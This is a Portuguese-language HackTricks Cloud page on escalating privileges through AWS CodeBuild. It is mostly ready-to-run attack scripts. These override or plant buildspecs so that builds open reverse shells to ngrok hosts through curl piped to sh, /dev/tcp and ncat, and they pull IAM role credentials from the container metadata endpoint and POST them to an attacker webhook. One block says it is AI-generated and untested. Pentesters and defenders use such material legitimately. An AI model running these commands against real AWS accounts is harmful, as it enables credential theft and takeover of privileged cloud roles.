AWS - Codebuild Privesc

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codebuild

Obtenha mais informações em:

AWS - Codebuild Enum

`codebuild:StartBuild` | `codebuild:StartBuildBatch`

Basta apenas uma dessas permissões para acionar um build com um novo buildspec e roubar o token do iam role atribuído ao projeto:

bash

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

bash

cat > /tmp/buildspec.yml <<EOF
version: 0.2

batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF

aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Nota: A diferença entre esses dois comandos é que:

StartBuild aciona um único job de build usando um buildspec.yml específico.
StartBuildBatch permite iniciar um lote de builds, com configurações mais complexas (como executar múltiplos builds em paralelo).

Impacto Potencial: Privesc direto para roles do AWS Codebuild anexados.

`iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Um atacante com as permissões iam:PassRole, codebuild:CreateProject, e codebuild:StartBuild ou codebuild:StartBuildBatch seria capaz de escalar privilégios para qualquer codebuild IAM role criando uma em execução.

bash

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

bash

# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml

# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml

# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60

# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project

bash

# Generated by ex16x41, tested
# Create a hook.json file with command to send output from curl credentials URI to your webhook address

{
"name": "user-project-1",
"source": {
"type": "NO_SOURCE",
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER",
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
"computeType": "BUILD_GENERAL1_SMALL"
},
"serviceRole": "ARN-OF-TARGET-ROLE"
}

# Create a new CodeBuild project with the hook.json file
aws codebuild create-project --cli-input-json file:///tmp/hook.json

# Start a build with the new project
aws codebuild start-build --project-name user-project-1

# Get Credentials output to webhook address
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from

Impacto Potencial: Privesc direto para qualquer AWS Codebuild role.

warning

Em um Codebuild container o arquivo /codebuild/output/tmp/env.sh contém todas as variáveis de ambiente necessárias para acessar as credenciais de metadados.

Este arquivo contém a variável de ambiente AWS_CONTAINER_CREDENTIALS_RELATIVE_URI que contém o caminho da URL para acessar as credenciais. Será algo como /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Adicione isso à URL http://169.254.170.2/ e você poderá extrair as credenciais da role.

Além disso, ele também contém a variável de ambiente ECS_CONTAINER_METADATA_URI que contém a URL completa para obter informações de metadados sobre o container.

`iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Assim como na seção anterior, se em vez de criar um build project você puder modificá-lo, você pode indicar o IAM Role e roubar o token

bash

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Impacto Potencial: Privesc direto para qualquer role do AWS Codebuild.

`codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)

Como na seção anterior, mas sem a permissão iam:PassRole, você pode abusar dessas permissões para modificar projetos existentes do Codebuild e acessar a role que já lhes foi atribuída.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Impacto Potencial: Privesc direto para os roles anexados do AWS Codebuild.

SSM

Tendo enough permissions to start a ssm session é possível entrar inside a Codebuild project que está sendo construído.

The codebuild project will need to have a breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

E então:

bash

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Para mais informações check the docs.

(`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`

Um atacante capaz de iniciar/reiniciar um build de um projeto CodeBuild específico que armazena seu arquivo buildspec.yml em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.

Nota: a escalada é relevante apenas se o CodeBuild worker tiver um role diferente, preferivelmente mais privilegiado, do que o do atacante.

bash

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Você pode usar algo como este buildspec para obter um reverse shell:

buildspec.yml

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impacto: Privesc direto para a role usada pelo AWS CodeBuild worker que normalmente tem altos privilégios.

warning

Observe que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o buildspec.yml do diretório raiz, compactar novamente e enviar

Mais detalhes podem ser encontrados aqui.

Potencial Impacto: Privesc direto para as roles anexadas do AWS CodeBuild.

tip

Support HackTricks

Confira os planos de assinatura!
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

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